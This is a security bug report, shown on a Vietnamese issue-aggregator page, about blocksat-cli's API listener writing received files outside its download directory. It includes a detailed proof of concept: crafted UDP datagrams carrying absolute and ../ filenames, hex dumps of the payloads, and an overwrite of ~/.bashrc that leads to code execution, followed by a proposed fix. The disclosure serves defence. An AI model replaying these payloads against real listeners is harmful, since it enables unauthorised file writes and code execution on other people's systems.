blocksat-cli api listen writes outside the download directory
Chưa có ai nhận issue này.
Đánh giá
- Độ khó
- 4/5
- Thời gian dự kiến
- 3-5 ngày
- Mức phù hợp với người mới
- 35/100
Hướng nghiên cứu
Start with ApiMsg.save() in blocksatcli/api/msg.py, then trace the CLI listener and the GUI listener in blocksatgui/satapi/api.py to see how filenames reach it in encrypted and plaintext modes. Check the existing --exec sender requirement for the trust rule, and cover absolute paths, traversal, and name-clash siblings in tests. Done means received messages cannot write outside the download directory and the listener does not trust an unsigned message filename without --sender; the reporter offers to retest a patch.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
What happens
blocksat-cli api listen with the defaults decrypts with the local key and then calls ApiMsg.save(). The file name is the 255-byte field from MSG_HEADER_FORMAT = '<255sxI' in blocksatcli/api/msg.py. save() does os.path.join(download_dir, filename) and open(..., 'wb').
An absolute name makes os.path.join drop the download directory. A name containing ../ walks out of it. There is no basename and no realpath check against the download directory.
The default listener does not require --sender. An unsigned message encrypted to the recipient public key is accepted. That public key is the receive address. The same project already treats "anyone who has your public key" as an untrusted sender for --exec (--exec requires --sender or --insecure). The save path has no such check.
UdpSock binds ('', api_port) with api_port = 4433 (blocksatcli/defs.py), so the socket is 0.0.0.0:4433. A unicast datagram to that port is enough. It does not have to be addressed to 239.0.0.2.
os.path.basename() in api send only covers the official CLI. The satellite side sees ciphertext. I built the UDP payload directly.
--btc-src, --gossip, and --plaintext force plaintext. The same save() runs, and no key is required. The GUI listen path in blocksatgui/satapi/api.py calls this same listener.
The file is owned by the listener user. The parent directory has to exist already. If the target exists and the bytes differ, save() does not overwrite it; it creates a -2, -3, ... sibling. The listener process does not execute the file. I got code execution by writing ~/.bashrc, then starting a login shell as that user.
Setup
Listener user sat. Empty passphrase key in /home/sat/.blocksat/.gnupg, plus the Blockstream public key shipped in the repo, so config_keyring would not prompt. The sender keyring /tmp/atk-gpg had only sat's exported public key. gpg --list-secret-keys there was empty. I deleted the skel ~/.bashrc before the run so a successful write would land on that exact path.
su -s /bin/bash sat -c 'cd /tmp && PYTHONPATH=/src python3 -m blocksatcli api listen --demo --no-password'
Listener:
Listening on interface: lo
Downloads will be saved at: /home/sat/.blocksat/api/downloads
Waiting for data...
/proc/net/udp at that point:
00000000:1151
0x1151 is port 4433, address 0.0.0.0.
PoC
Sender is the small script I used in the container. It calls msg.generate(..., encapsulate=True, sign=False), wraps the result in one Blocksat packet (blocksatcli/api/pkt.py, 8-byte header !cBHI), and sendto()s it to the container address on UDP 4433.
Encrypted sends (channel 1, one fragment each):
| seq | filename in the header | payload bytes |
|---|---|---|
| 11 | /tmp/bs-abs |
ABS_WRITE_OK |
| 12 | ../../../../../tmp/bs-rel |
REL_WRITE_OK |
| 13 | /home/sat/.bashrc |
echo RAN>/tmp/bs-bashrc-ran\n |
| 14 | hello.txt |
INSIDE_OK |
Each one printed sent 1 datagram(s) to <container-ip>:4433.
The on-wire body of an encrypted datagram is OpenPGP (gpg.encrypt, sign=False). The session key changes every run, so the ciphertext bytes are not stable and I am not pasting them. What is stable is the header in front of that ciphertext, and the cleartext I handed to gpg.encrypt.
Blocksat header for seq 11, channel 1, last fragment:
01 01 00 00 00 00 00 0b
Cleartext API message for that datagram, before encryption. 272 bytes: 255-byte name, 1 pad byte, CRC32, then the payload. Bytes 12..259 are 00.
0000 2f 74 6d 70 2f 62 73 2d 61 62 73 00 00 00 00 00 /tmp/bs-abs.....
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
0100 00 00 00 00 8c 14 57 f2 41 42 53 5f 57 52 49 54 ......W.ABS_WRIT
0110 45 5f 4f 4b E_OK
8c 14 57 f2 is CRC32 4065793164 (zlib.crc32(b"ABS_WRITE_OK")). The other three messages are the same layout with the names and payloads in the table. Their CRC32 values are 1984947302, 38511487, and 1660104058.
Listener, after those four datagrams. This is stdout of the unmodified process:
Encrypted size: 557 bytes; Decryption: OK; Unsigned
File: /tmp/bs-abs; Checksum: 4065793164; Size: 12 bytes
Saved at /tmp/bs-abs.
File: ../../../../../tmp/bs-rel; Checksum: 1984947302; Size: 12 bytes
Saved at /home/sat/.blocksat/api/downloads/../../../../../tmp/bs-rel.
File: /home/sat/.bashrc; Checksum: 38511487; Size: 28 bytes
Saved at /home/sat/.bashrc.
File: hello.txt; Checksum: 1660104058; Size: 9 bytes
Saved at /home/sat/.blocksat/api/downloads/hello.txt.
There is no UDP reply. api listen only receives. The process log above is the response I got, then the files:
$ cat /tmp/bs-abs
ABS_WRITE_OK
$ cat /tmp/bs-rel
REL_WRITE_OK
$ cat /home/sat/.bashrc
echo RAN>/tmp/bs-bashrc-ran
$ cat /home/sat/.blocksat/api/downloads/hello.txt
INSIDE_OK
$ ls /home/sat/.blocksat/api/downloads
hello.txt
/tmp/bs-rel is what downloads/../../../../../tmp/bs-rel resolves to. hello.txt stayed in the download directory.
Then:
su - sat -c true
cat /tmp/bs-bashrc-ran
RAN
That came from bash reading the .bashrc I had just written. The listener did not exec it.
Plaintext, same binary, after stopping the first listener:
python3 -m blocksatcli api listen --demo --no-password --btc-src
This mode is plaintext on channel 5. No key on the sender. Payload PLAIN_NO_KEY, name /tmp/bs-plain, seq 21. This datagram is deterministic, so here is the UDP payload I actually sent, 280 bytes. Bytes 0x16 through 0x107 are 00 (the rest of the 255-byte name plus the pad).
0000 01 05 00 00 00 00 00 15 2f 74 6d 70 2f 62 73 2d ......../tmp/bs-
0010 70 6c 61 69 6e 00 00 00 00 00 00 00 00 00 00 00 plain...........
...
0100 00 00 00 00 00 00 00 00 49 0c d6 ee 50 4c 41 49 ........I...PLAI
0110 4e 5f 4e 4f 5f 4b 45 59 N_NO_KEY
01 05 is API, last fragment, channel 5. 00 00 00 15 is seq 21. 49 0c d6 ee is CRC32 4007005257.
Listener:
File: /tmp/bs-plain; Checksum: 4007005257; Size: 12 bytes
Saved at /tmp/bs-plain.
$ cat /tmp/bs-plain
PLAIN_NO_KEY
A path the sat user cannot create, such as /etc or /root, fails the open. I did not keep going past that.
Fix
In ApiMsg.save, keep a single path component. Reject a name that contains / or \, or is absolute, or contains ... realpath the destination and require it to stay under realpath(download_dir), including the -2 sibling used on a name clash.
On the default listener, do the same thing you already do for --exec: if --sender was not set, do not use the name from the message. Generate one, or drop the message. Apply that to --plaintext, --btc-src, and --gossip as well. Leaving basename on api send is fine; it does not cover a hand-built datagram.
I can retest a patch.
Thank you.
- Ngôn ngữ chính
- Python
- Star
- 1k
- Fork
- 162
- Chỉ số merge pull request
- Không có pull request nào được merge trong 30 ngày
Chuẩn bị môi trường
Dự án này không cung cấp dev container, Dockerfile hay hướng dẫn đóng góp, nên bạn cần tự thiết lập môi trường: hãy bắt đầu từ README và xem hướng dẫn đóng góp lần đầu của chúng tôi để biết các bước chung.
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của Blockstream/satellite
-
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 35/100
Blockstream/satellite#118 ·
-
Độ khó 3/5 1-2 ngày Mức phù hợp với người mới 35/100
Blockstream/satellite#116 · 3 bình luận ·
-
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 35/100
Blockstream/satellite#115 · 10 bình luận ·
-
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 20/100
Blockstream/satellite#114 · 4 bình luận ·
-
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 35/100
Blockstream/satellite#102 · 6 bình luận ·
Tất cả issue của Blockstream/satellite
Issue tương tự
-
breaking change
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 82/100
Maintainer thường phản hồi trong vòng 1 ngày
-
check-skill-pages: show fixture build errors when a build failsCó thể đã có người làm @ShahadatTest đã nhận hôm nay. Đang mởgood first issue P2
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 85/100
coco-research/coco#439 · 1 bình luận ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 72/100
esphome/home-assistant-addon#274 ·
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 72/100
endurain-project/endurain#882 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Add unit tests for metrics.pyĐang mởgood first issue
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 72/100